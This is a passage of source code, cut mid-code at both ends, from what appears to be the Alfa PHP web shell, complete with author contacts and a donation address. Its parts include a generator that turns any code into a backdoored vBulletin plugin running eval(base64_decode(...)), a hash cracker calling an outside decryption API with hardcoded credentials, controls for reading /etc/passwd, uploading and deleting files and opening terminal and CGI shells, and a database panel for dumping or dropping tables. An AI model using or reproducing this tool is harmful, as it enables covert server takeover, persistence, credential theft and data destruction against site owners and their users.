$ip = is_ipv4(gethostbyname($site));
if($ip == '(Null)')
continue;
echo "Trying {$site}: {$ip}\n<br>";
}
echo "\n[+] Finished.\n<br>";
}
echo '</div>';
alfafooter();
}
function is_ipv4($ip){
return filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) ? $ip : '(Null)';
}
function __alert($s){
echo '<center>'.__pre().$s.'</center>';
}
function create_table($data){
echo '<table border="1">';
foreach ($data as $key => $val){
$array = array();
foreach($val as $k => $v){
$array[$k] = $v;
}
echo "<tr><td><div class='tbltxt'>".$array['tdName']."</div></td><td><input type='text' id='".$array['id']."' name='".$array['inputName']."' ".($array['placeholder']?'placeholder':'value')."='".$array['inputValue']."' size='".$array['inputSize']."' ".($array['disabled']?'disabled':'')."></td></tr>";
}
echo '</table>';
}
function alfaphp2xml(){
alfahead();
AlfaNum(8,9,10,7,6,5,4,3);
echo "<div class=header><center><p><div class='txtfont_header'>| Shell For vBulletin |</div></p><form onsubmit=\"g('php2xml',null,this.code.value,'>>'); return false;\" method='post'>
<p><br><textarea rows='12' cols='70' type='text' name='code' placeholder=\"insert your shell code\"></textarea><br/><br/>
<input type='submit' name='go' value=' ' /></p></form></center>";
if($_POST['alfa2']&&$_POST['alfa2']=='>>'){
echo __pre()."<p><center><textarea rows='10' name='users' cols='80'>";
echo '<?xml version="1.0" encoding="ISO-8859-1"?><plugins><plugin active="1" product="vbulletin"><title>vBulletin</title><hookname>init_startup</hookname><phpcode><![CDATA[if (strpos($_SERVER[\'PHP_SELF\'],"subscriptions.php")){eval(base64_decode(\''.__ZW5jb2Rlcg($_POST['alfa1']).'\'));exit;}]]></phpcode></plugin></plugins>';
echo '</textarea></center></p>';
}
echo '</center></div>';
alfafooter();
}
function alfacpcrack(){
alfahead();
echo '<div class=header><center><p><div class="txtfont_header">| Hash Tools |</div></p><h3><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'dec\')">| DeCrypter | </a><a href=javascript:void(0) onclick="g(\'cpcrack\',null,\'analyzer\')">| Hash Analyzer | </a></h3></center>';
if($_POST['alfa1']=='dec'){
$algorithms = array('md5'=>'MD5','md4'=>'MD4','sha1'=>'SHA1','sha256'=>'SHA256','sha384'=>'SHA384','sha512'=>'SHA512','ntlm'=>'NTLM');
echo '<center><div class="txtfont_header">| DeCrypter |</div><br><br>
<form onsubmit="g(\'cpcrack\',null,\'dec\',this.md5.value,\'>>\',this.alg.value); return false;"><div class="txtfont">Decrypt Method:</div> <select name="alg" style="width:100px;">';
foreach($algorithms as $key=>$val){echo('<option value="'.$key.'">'.$val.'</option>');}
echo'</select><input type="text" placeholder="Hash" name="md5" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$hash_type = $_POST['alfa4'];
$email = "solevisible@gmail.com";
$code = "7b9fa79f92c3cd96";
$target = "https://md5decrypt.net/Api/api.php?hash=".$hash."&hash_type=".$hash_type."&email=".$email."&code=".$code;
$resp = @file_get_contents($target);
if($resp==''){
$get = new AlfaCURL();
$resp = $get->Send($target);
}
echo __pre().'<center>';
switch($resp){
	case('CODE ERREUR : 001'):echo "<b><font color='red'>You exceeded the 400 allowed request per day</font></b>";break;
	case('CODE ERREUR : 003'):echo "<b><font color='red'>Your request includes more than 400 hashes.</font></b>";break;
	case('CODE ERREUR : 004'):echo "<b><font color='red'>The type of hash you provide in the argument hash_type doesn't seem to be valid</font></b>";break;
	case('CODE ERREUR : 005'):echo "<b><font color='red'>The hash you provide doesn't seem to match with the type of hash you set.</font></b>";break;
}
if(substr($resp,0,4)!='CODE'&&$resp!=''){
echo "<b>Result: <font color='green'>".$resp."</font></b>";
}elseif(substr($resp,0,4)!='CODE'){
echo "<font color='red'>NoT Found</font><br />";
}
echo('</center>');
}
}
}
if($_POST['alfa1']=='analyzer'){
echo '<center><p><div class="txtfont_header">| Hash Analyzer |</div></p>
<form onsubmit="g(\'cpcrack\',null,\'analyzer\',this.hash.value,\'>>\');return false;">
<div class="txtfont">Hash: </div> <input type="text" placeholder="Hash" name="hash" size="60" id="text" /> <input type="submit" value=" " name="go" /></form></center><br>';
if($_POST['alfa3'] == '>>'){
$hash = $_POST['alfa2'];
if(!empty($hash)){
$curl = new AlfaCURL();
$resp = $curl->Send("https://md5decrypt.net/en/HashFinder/","post","hash={$hash}&crypt=Search");
echo(__pre().'<center>');
if(preg_match('#<fieldset class="trouve">(.*?)</fieldset>#',$resp,$s)){
	echo('<font color="green">'.$s[1].'</font>');
}else{
	echo('<font color="red">Not Found...!</font>');
}
echo('</center><br>');
}
}
}
echo '</div>';
alfafooter();
}
function alfafooter(){
if(!isset($_POST['ajax'])){
echo "<table class='foot' width='100%' border='0' cellspacing='3' cellpadding='0' >
<tr>
<td width='17%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'mkfile','','','','file');this.f.value='';return false;\"><span class='footer_text'>Make File : </span><br><input class='dir' type='text' name='f' value=''> <input type='submit' value=' '></form></td>
<td width='21%'><form onsubmit=\"g('FilesMan',null,'mkdir',this.d.value);this.d.value='';return false;\"><span class='footer_text'>Make Dir : </span><br><input class='dir' type='text' name='d' value=' '> <input type='submit' value=' '></form></td>
<td width='22%'><form onsubmit=\"g('FilesMan',null,'delete',this.del.value);this.del.value='';return false;\"><span class='footer_text'>Delete : </span><br><input class='dir' type='text' name='del' value=' '> <input type='submit' value=' '></form></td>
<td width='19%'><form onsubmit=\"if(this.f.value.trim().length==0)return false;editor(this.f.value,'chmod','','','','none');this.f.value='';return false;\"><span class='footer_text'>Chmod : </span><br><input class='dir' type=text name=f value=' '> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='2'><form onsubmit='g(\"FilesMan\",this.c.value,\"\");return false;'><span class='footer_text'>Change Dir : </span><br><input class='foottable' id='footer_cwd' type='text' name='c' value='".htmlspecialchars($GLOBALS['cwd'])."'> <input type='submit' value=' '></form></td>
<td colspan='2'><form onsubmit=\"editor(this.file.value,'view','','','','file');return false;\"><span><span class='footer_text'>Read File : </span></span><br><input class='foottable' type='text' name='file' value='/etc/passwd'> <input type='submit' value=' '></form></td>
</tr>
<tr>
<td colspan='4'><form style='margin-top: 10px;' onsubmit=\"return false;\" autocomplete='off'><span><span class='footer_text'>Execute :</span><br><button onClick='alfaOpenPhpTerminal();return false;' class='foottable alfa_custom_cmd_btn'><img style='width:28px;vertical-align: middle;' src='http://solevisible.com/icons/menu/terminal.svg'> Terminal</button><br></form></td>
</tr>
<tr>
<td colspan='4'><form onsubmit='u(this);return false;' name='footer_form' method='post' ENCTYPE='multipart/form-data'>
<input type='hidden' name='a' value='FilesMAn'>
<input type='hidden' name='c' value='" . $GLOBALS['cwd'] ."'>
<input type='hidden' name='ajax' value='true'>
<input type='hidden' name='alfa1' value='uploadFile'>
<input type='hidden' name='charset' value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
<span class='footer_text'>Upload file: </span><span><button id='addup' onclick='addnewup();return false;'><b>+</b></button></span><p id='pfooterup'><label class='inputfile' for='footerup'><span id='__fnameup'></span> <strong>&nbsp;&nbsp;Choose a file</strong></label><input id='footerup' class='toolsInp' type='file' name='f[]' onChange='handleup(this,0);' multiple></p><input type='submit' name='submit' value=' '></form><div id='alfa-copyright'><span class='copyright'>[ ./AlfaTeam &copy; 2012-".date('Y')." ]</span><br><span><a href='javascript:void(0);' onclick='alert(\"BTC: 1KLty8LUqnqsXkM3Qkvy2Kpv4gLt7Ugcyo\");' style='color: #E91E63;text-decoration: none;'>Donate Us !</a></span> <span style='letter-spacing: 2px;color: #dfff00;'>solevisible[at]gmail.com</span> <span><a style='color: #ff6060;text-decoration: none;' target='_blank' href='https://telegram.me/solevisible'>@solevisible</a></span></div></td>
</tr>
</table>
</div>

<div id='options_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"options_window\");'></div><div onClick='editorClose(\"options_window\");' class='close-button'></div></div></div><div style='height:100%;' class='content_options_holder'><div class='options_tab'></div><div class='options_content' style='margin-left:14px;margin-right:30px;background:#000;overflow:auto;'></div></div></div></div>

<div id='database_window' style='background:rgba(0, 0, 0, 0.69);'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'>Sql Manager</div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"database_window\");'></div><div onClick='editorClose(\"database_window\");' class='close-button'></div></div></div><div class='content_options_holder' style='margin-left:14px;margin-right:30px;background:#000;max-height:90%;'><div class='sql-tabs'></div><div class='sql-contents' style='max-height: 85vh;'></div></div></div></div>

<div id='cgiloader'><div class='editor-wrapper'><div class='editor-header'><div class='opt-title'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"cgiloader\");'></div><div onClick='editorClose(\"cgiloader\");' class='close-button'></div></div></div><div id='cgiframe' style='position:relative;margin-left:14px;margin-right:30px;'><div class='terminal-tabs'></div><div style='height:90%;' class='terminal-contents'></div></div></div></div>
<div id='editor' style='display:none;'><div class='editor-wrapper'><div class='editor-header'><div class='editor-path'></div><div class='editor-controller'><div class='editor-minimize' onClick='editorMinimize(\"editor\");'></div><div onClick='editorClose(\"editor\");' class='close-button'></div></div></div><div onclick='historyPanelController(this);' mode='visible' class='history-panel-controller'><<</div><div class='editor-explorer'><div class='hheader'><div class='history-clear' onclick='clearEditorHistory();'>Clear all</div><div class='hheader-text'>History</div><div class='editor-search'><input type='text' style='text-align:center;' id='search-input' placeholder='search'></div></div><div class='history-list'></div></div><div class='editor-modal'><div class='editor-body'><div class='editor-content'><div class='editor-tabs'></div><div class='editor-content-holder'></div></div></div></div></div></div>
<div id='update-content'></div>
<div id='database_window-minimized' onclick='showEditor(\"database_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div class='minimized-text' style='top: 15px;'>Database</div></div></div>
<div id='options_window-minimized' onclick='showEditor(\"options_window\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 4px;' class='minimized-text'>Options</div></div></div>
<div id='editor-minimized' onclick='showEditor(\"editor\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 2px;' class='minimized-text'>Editor</div></div></div>
<div id='cgiloader-minimized' onclick='showEditor(\"cgiloader\");'><div class='minimized-wrapper'><span class='options_min_badge'>0</span><div style='top: 12px;' class='minimized-text'>Cgi Shell</div></div></div>
<div id='rightclick_menu'>
  <a target='_blank' href='' name='newtab'><img src=\"http://solevisible.com/icons/menu/newtab.svg\"> Open in new tab</a>
  <a target='_blank' href='' name='link'><img src=\"http://solevisible.com/icons/menu/link.svg\"> Open file directly</a>
  <a href='javascript:void(0);' name='download'><img src=\"http://solevisible.com/icons/menu/download2.svg\"> Download</a>
  <a href='' name='view'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='view_archive'><img src=\"http://solevisible.com/icons/menu/view.svg\"> View Archive</a>
  <a href='' name='edit'><img src=\"http://solevisible.com/icons/menu/edit.svg\"> Edit</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"move\");' ftype='' path='' fname='' href='' href='' name='move'><img src=\"http://solevisible.com/icons/menu/move.svg\"> Move</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"copy\");' ftype='' path='' fname='' href='' name='copy'><img src=\"http://solevisible.com/icons/menu/copy.svg\"> Copy</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"rename\");' ftype='' path='' fname='' name='rename'><img src=\"http://solevisible.com/icons/menu/rename.svg\">  Rename</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"modify\");' ftype='' path='' fname='' name='modify'><img src=\"http://solevisible.com/icons/menu/time.svg\">  Modify</a>
  <a href='javascript:void(0);' onclick='alfaPopupAction(this, \"permission\");' name='permission'><img src=\"http://solevisible.com/icons/menu/key.svg\"> Change Permissions</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='compress'><img src=\"http://solevisible.com/icons/menu/resize.svg\"> Compress</a>
  <a href='javascript:void(0);' onclick='alfaSyncMenuToOpt(this);' path='' fname='' name='extract'><img src=\"http://solevisible.com/icons/menu/increase.svg\"> Extract</a>
  <a href='javascript:void(0);' name='delete'><img src=\"http://solevisible.com/icons/menu/delete.svg\"> Delete</a>
</div>
<div id=\"filesman-tab-full-path\"></div>
<div id='alert-area' class='alert-area'></div>
<div class='cl-popup-fixed' style='display:none;'>
	<div id='shortcutMenu-holder'>
		<div class='popup-head'></div>
			<form autocomplete='off' onSubmit='return false;'>
				<label class='old-path-lbl'></label>
				<div style='overflow: hidden;white-space: nowrap;text-overflow: ellipsis;' class='old-path-content'></div>
				<label style='margin-top:10px;' class='new-filename-lbl'>New file name</label>
				<input type='text' name='fname'>
				<div class='perm-table-holder'>
					<table>
					   <tbody>
					      <tr>
					         <td><b>Mode</b></td>
					         <td>User</td>
					         <td>Group</td>
					         <td>World</td>
					      </tr>
					      <tr>
					         <td>Read</td>
					         <td><input type='checkbox' name='ur' value='4' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gr' value='4' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='wr' value='4' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Write</td>
					         <td><input type='checkbox' name='uw' value='2' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gw' value='2' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='ww' value='2' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Execute</td>
					         <td><input type='checkbox' name='ux' value='1' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='gx' value='1' onclick='calcperm();'></td>
					         <td><input type='checkbox' name='wx' value='1' onclick='calcperm();'></td>
					      </tr>
					      <tr>
					         <td>Permission</td>
					         <td><input style='width:60px;' type='text' name='u' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"u\", [\"u\"]);'></td>
					         <td><input style='width:60px;' type='text' name='g' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"g\", [\"g\"]);'></td>
					         <td><input style='width:60px;' type='text' name='w' maxlength='1' oninput='this.value=this.value.replace(/[^0-7]/g,0);autoCheckPerms(this.value, \"w\", [\"w\"]);'></td>
					      </tr>
					   </tbody>
					</table>
				</div>

			</form>
		<div class='popup-foot'>
			<button style='background: #2b5225;' name='accept' action='' onclick='alfaPopUpDoAction(this);'></button>
			<button style='background: #9e2c2c;' onclick='d.querySelector(\".cl-popup-fixed\").style.display=\"none\";'>Cancell</button>
		</div>
	</div>
</div>";?>
<script>
function alfaMysqlApi(e,t){var a={host:mysql_cache[e.db_id].host,user:mysql_cache[e.db_id].user,pass:mysql_cache[e.db_id].pass,db:e.db_target,db_id:e.db_id};if(e.hasOwnProperty("db_info"))for(var i in e.db_info)a[i]=e.db_info[i];var l={a:alfab64("Sql_manager_api"),c_:alfab64(c_),alfa1:alfab64(JSON.stringify(a))};if(e.hasOwnProperty("post"))for(var i in e.post.hasOwnProperty("alfa2")&&"load_data"!=e.post.alfa2&&"page"!=e.post.alfa2&&"edit"!=e.post.alfa2&&"delete"!=e.post.alfa2&&(d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-pager").innerHTML="",d.querySelector("#"+e.db_id+" .mysql-query-result-header .mysql-query-reporter").innerHTML=""),e.post)l[i]=alfab64(e.post[i]);var r="";for(var o in l)r+=o+"="+l[o]+"&";alfaloader(e.db_id,"block"),_Ajax(d.URL,r,function(a){alfaloader(e.db_id,"none"),t(a)},!0,e.db_id)}function alfaMysqlFilterTable(e,t){setTimeout(function(){var a="",i="",l=(a="","");if(null!=e)a=e.getAttribute("target"),i=e.getAttribute("db_id"),l=e.value;else a=t.target,i=t.db_id,l=t.value;l=new RegExp(l,"i"),d.querySelectorAll("#"+i+" "+a+" ul > li").forEach(function(e){var t=e.querySelector(".mysql_tables");if(null==t)return!1;-1==(t=t.innerText).search(l)?e.style.display="none":e.style.display="block"})},200)}function alfaMysqlFilterAllTable(e,t){var a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" .mysql-tables input[name=filter_all]").value,l=d.querySelector("#"+a+" input[name=sql_count]").checked,r=[],o=[];if(d.querySelectorAll("#"+a+" .mysql-tables .list_container").forEach(function(e){var t=e.getAttribute("mode"),a=e.getAttribute("db_name");"no"==t&&r.push(a),o.push(a)}),r.length>0){if(0==i.length&&void 0===t)return!1;alfaMysqlApi({db_id:a,db_target:r[0],ajax_id:"mysql_get_all_tables",db_info:{databases:r},post:{alfa2:"load_all_tables",alfa3:l}},function(r){if(0!=r.length){for(var o in r=JSON.parse(r)){var n=o,s=d.querySelector("#"+a+" .cls-"+n);alfaMysqlMakeTblList(r[o],s,a,n,l)}void 0===t?alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}):(e.setAttribute("mode","opened"),d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/b_minus.png")}})}else if(void 0===t)for(var n in alfaMysqlFilterTable(null,{db_id:a,target:".mysql-tables .list_container",value:i}),o)alfaMysqlTableMode(a,o[n],"closed");else{var s="",c=e.getAttribute("mode");for(var n in"opened"==c?(e.setAttribute("mode","closed"),s="b_plus.png"):(e.setAttribute("mode","opened"),s="b_minus.png"),o)alfaMysqlTableMode(a,o[n],c);d.querySelector("#"+a+" .mysql-tables .parent-expander img").src="http://solevisible.com/icons/menu/"+s}}function alfaMysqlTableMode(e,t,a){var i=d.querySelector("#"+e+" .cls-"+t),l="";void 0===a?(l=-1!=i.classList.value.indexOf("hide-db-tables")?"b_minus.png":"b_plus.png",i.classList.toggle("hide-db-tables")):"opened"==a?(l="b_plus.png",i.classList.add("hide-db-tables")):(l="b_minus.png",i.classList.remove("hide-db-tables")),d.querySelector("#"+e+" .cls-"+t+"-expander img").src="http://solevisible.com/icons/menu/"+l}function alfaMysqlExpander(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=e.getAttribute("sql_count"),l=d.querySelector("#"+a+" .cls-"+t);"loaded"==l.getAttribute("mode")?alfaMysqlTableMode(a,t):alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_get_tables",post:{alfa2:"load_tables",alfa3:i}},function(e){0!=e.length&&alfaMysqlMakeTblList(e=JSON.parse(e),l,a,t,i)})}function alfaMysqlTablesEvil(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i=e.getAttribute("mode");"checked"==i?(i=!1,e.setAttribute("mode","not")):(i=!0,e.setAttribute("mode","checked")),d.querySelectorAll("#"+a+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked=i})}function alfaMysqlTablesDumpDrop(e){var t=e.getAttribute("target"),a=e.getAttribute("db_id"),i="none";"dump"==e.value&&(i="block"),d.querySelector("#"+a+" "+t+" .dump-file-holder").style.display=i}function alfaMysqlTablesDumpDropBtn(e){var t=e.getAttribute("target"),a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=[],r=d.querySelector("#"+i+" input[name=sql_count]").checked,o=d.querySelector("#"+i+" "+t),n=o.querySelector("select[name=tables_evil]").value,s=o.querySelector(".dump-file-holder input").value;d.querySelectorAll("#"+i+" "+t+" input[name=tbl\\[\\]]").forEach(function(e){e.checked&&l.push(e.value)}),l.length>0&&alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_query_evil",db_info:{tables:l,mode:n,dump_file:s},post:{alfa2:"dump_drop"}},function(e){0!=e.length&&(e=JSON.parse(e),"drop"==n?alfaMysqlMakeTblList(e,o,i,a,r):o.querySelector(".dump-file-holder").insertAdjacentHTML("beforeend","<div><a href='javascript:void(0);' onclick='g(\"FilesTools\",null,\""+s+'","download");\'><span>Download: '+s+"</span></a></div>"))})}function alfaMysqlMakeTblList(e,t,a,i,l){t.setAttribute("mode","loaded");var r='<ul><li><div class="block"><i></i><b></b></div><div><input style="padding: 0;margin-left: 11px;text-align:center;" type="text" class="db-opt-id" db_id="'+a+'" placeholder="Filter Table" target=".cls-'+i+'" onkeyup="alfaMysqlFilterTable(this);" name="filter"></div></li>';for(var o in e)null!=e[o]&&(r+="<li><div class='block'><i></i><b></b></div><div class='tables-row'><input type='checkbox' name='tbl[]' value='"+e[o].name+"'>&nbsp;<a class='db-opt-id' db_target='"+i+"' db_id='"+a+"' href='javascript:void(0);' onclick=\"alfaLoadTableData(this, '"+e[o].name+"')\"><span class='mysql_tables' style='font-weight:unset;'>"+e[o].name+"</span></a>"+(l?" <small><span style='font-weight:unset;' class='mysql_table_count'>("+e[o].count+")</span></small>":"&nbsp;")+"</div></li>");r+='</ul><div style="margin-left: 26px;margin-bottom: 10px;margin-top: 10px;"><input onchange="alfaMysqlTablesEvil(this);" db_id="'+a+'" class="db-opt-id" target=".cls-'+i+'" type="checkbox" class="db-opt-id"><select onchange="alfaMysqlTablesDumpDrop(this);" class="db-opt-id" db_id="'+a+'" target=".cls-'+i+'" class="db-opt-id" name="tables_evil" style="padding: 0;width: 100px;"><option selected>drop</option><option>dump</option></select> <button onclick="alfaMysqlTablesDumpDropBtn(this);return false;" db_id="'+a+'" class="db-opt-id" db_target="'+i+'" target=".cls-'+i+'" class="db-opt-id">Do it</button><div class="dump-file-holder" style="display:none;margin-left:20px;margin-top: 5px;"><input style="padding: 0;text-align:center;" type="text" placeholder="dump.sql" name="dump_file"></div></div>',t.innerHTML=r,d.querySelector("#"+a+" .cls-"+i+"-expander img").src="http://solevisible.com/icons/menu/b_minus.png"}function alfaMysqlQuery(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a+" textarea[name=query]").value;alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_load_query_data",db_info:{query:i},post:{alfa2:"query"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0))})}function alfaMysqlReportBuilder(e,t){var a="";t.status||(a="<div><span>Error: </span><div style='padding-left: 50px;'><pre>"+t.error+"</pre></div></div>");var i="<div><span>Query:</span><div style='padding-left: 50px;'><pre>"+t.query+"</pre></div>"+a+"</div>";d.querySelector("#"+e+" .mysql-query-reporter").innerHTML=i}function alfaMysqlTablePanelCtl(e){var t=e.getAttribute("db_id"),a=(t=e.getAttribute("db_id"),d.querySelector("#"+t)),i=a.querySelector(".tables-panel-ctl");"none"==i.getAttribute("mode")?(a.querySelector(".mysql-tables").style.display="block",i.setAttribute("mode","block"),i.innerHTML="&#x3C;&#x3C;",a.querySelector(".mysql-query-results-fixed").classList.remove("mysql-query-results-fixed")):(a.querySelector(".mysql-tables").style.display="none",i.setAttribute("mode","none"),i.innerHTML="&#x3E;&#x3E;",a.querySelector(".mysql-query-results").classList.add("mysql-query-results-fixed")),i.classList.toggle("tables-panel-ctl-min")}function alfaMysqlTabCtl(e,t){var a=void 0===t?e.getAttribute("db_id"):e.db_id,i=void 0===t?e.getAttribute("target"):e.target;d.querySelectorAll("#"+a+" .mysql-query-content").forEach(function(e){e.classList.add("mysql-hide-content")}),d.querySelector("#"+a+" .mysql-query-result-tabs .mysql-query-selected-tab").classList.remove("mysql-query-selected-tab"),void 0===t?e.classList.add("mysql-query-selected-tab"):d.querySelector("#"+a+" .mysql-query-result-tabs div:nth-child("+e.child+")").classList.add("mysql-query-selected-tab"),d.querySelector("#"+a+" "+i).classList.remove("mysql-hide-content")}function alfaLoadTableData(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_load_table_data",db_info:{table:t},post:{alfa2:"load_data"}},function(e){if(0!=e.length){e=JSON.parse(e);var l="",r="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>",o="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th><th>Change</th></tr>",n="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Collation</th><th>Operator</th><th>Value</th></tr>",s=["int","smallint","bigint","tinyint","mediumint"],c=["longtext","text","mediumtext","tinytext"];for(var u in e.columns){var p="text";-1!=s.indexOf(e.columns[u].data_type)&&(p="number"),n+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+e.columns[u].collation+"</td><td><select name='"+e.columns[u].name+"'><option value='='>=</option><option value='!='>!=</option><option value='>'>&gt;</option><option value='>='>&gt;=</option><option value='<'>&lt;</option><option value='<='>&lt;=</option><option value=\"= ''\">= ''</option><option value=\"!= ''\">!= ''</option><option value='LIKE'>LIKE</option><option value='LIKE %...%'>LIKE %...%</option><option value='NOT LIKE'>NOT LIKE</option><option value='REGEXP'>REGEXP</option><option value='REGEXP ^...$'>REGEXP ^...$</option><option value='NOT REGEXP'>NOT REGEXP</option><option value='IN (...)'>IN (...)</option><option value='NOT IN (...)'>NOT IN (...)</option><option value='BETWEEN'>BETWEEN</option><option value='NOT BETWEEN'>NOT BETWEEN</option><option value='IS NULL'>IS NULL</option><option value='IS NOT NULL'>IS NOT NULL</option></select></td><td><input type='"+p+"' name='"+e.columns[u].name+"'></td></tr>";var f=alfaMysqlLoadDataType(e.columns[u].data_type);null==e.columns[u].type_value&&(e.columns[u].type_value=""),o+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td><select name='sel_"+e.columns[u].name+"'>"+f+"</select></td><td><input name='value_"+e.columns[u].name+"' type='text' value='"+(-1==c.indexOf(e.columns[u].data_type)?e.columns[u].type_value:"")+"'></td><td><button col_name='"+e.columns[u].name+"' tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlAlterTbl(this);return false;'>Change</button></td></tr>";var m="";switch(e.columns[u].data_type){case"longtext":case"text":m="<textarea name='"+e.columns[u].name+"' rows='5'></textarea>";break;case"int":case"smallint":case"bigint":m="<input type='number' name='"+e.columns[u].name+"' value=''>";break;default:m="<input type='text' name='"+e.columns[u].name+"' value=''>"}r+="<tr><th style='text-align: left;'>"+e.columns[u].name+"</th><td>"+e.columns[u].type+"</td><td>"+m+"</td></tr>"}if(r+="</table><div style='margin-left:20px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"insert\");return false;'>Insert</button></div><div class='mysql-insert-result'></div>",o+="</table><div class='mysql-structure-qres'></div>",n+="</table><div style='padding-left: 384px;margin-top: 15px;'><button tbl_name='"+t+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlSearch(this);return false;'>Search</button></div>",e.pages>0){l+="<span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,1);'><<</span> <span> page: </span> <select tbl_name='"+t+"' db_target='"+a+"' name='mysql-q-pages' db_id='"+i+"' class='db-opt-id' onchange='alfaMysqlChangePage(this);' pages='"+e.pages+"'>";for(var b=1;b<e.pages+1;b++)l+="<option>"+b+"</option>";l+="</select><span> Of "+e.pages+"</span> <span style='cursor:pointer;' db_id='"+i+"' onclick='alfaMysqlChangePage(this,2);'>>></span>"}var y=d.querySelector("#"+i);y.querySelector(".mysql-search-area").innerHTML=n,y.querySelector(".mysql-insert-row").innerHTML=r,y.querySelector(".mysql-edit-row").innerHTML="",y.querySelector(".mysql-structure").innerHTML=o,y.querySelector(".mysql-query-result-header .mysql-query-pager").innerHTML=l,y.querySelector(".mysql-query-table").innerHTML=e.status?e.table:"",alfaMysqlTabCtl({child:1,db_id:i,target:".mysql-query-result-content"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="none",alfaMysqlReportBuilder(i,e)}})}function alfaMysqlAlterTbl(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r=e.getAttribute("col_name"),o={};o.type=i.querySelector(".mysql-structure select[name=sel_"+r+"]").value,o.input=i.querySelector(".mysql-structure input[name=value_"+r+"]").value,alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_alter",db_info:{table:l,column:r,alter:o},post:{alfa2:"alter"}},function(e){var t=d.querySelector("#"+a+" .mysql-structure-qres");t.innerHTML=e,t.style.display="block"})}function alfaMysqlSearch(e){var t=e.getAttribute("db_target"),a=e.getAttribute("db_id"),i=d.querySelector("#"+a),l=e.getAttribute("tbl_name"),r={};i.querySelectorAll(".mysql-search-area input, .mysql-search-area select").forEach(function(e){r.hasOwnProperty(e.name)||(r[e.name]={}),"SELECT"==e.tagName?r[e.name].opt=e.value:r[e.name].value=e.value}),alfaMysqlApi({db_id:a,db_target:t,ajax_id:"mysql_table_search_query",db_info:{table:l,search:r},post:{alfa2:"search"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),alfaMysqlTabCtl({child:1,db_id:a,target:".mysql-query-result-content"},!0),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaMysqlEditRow(e,t){var 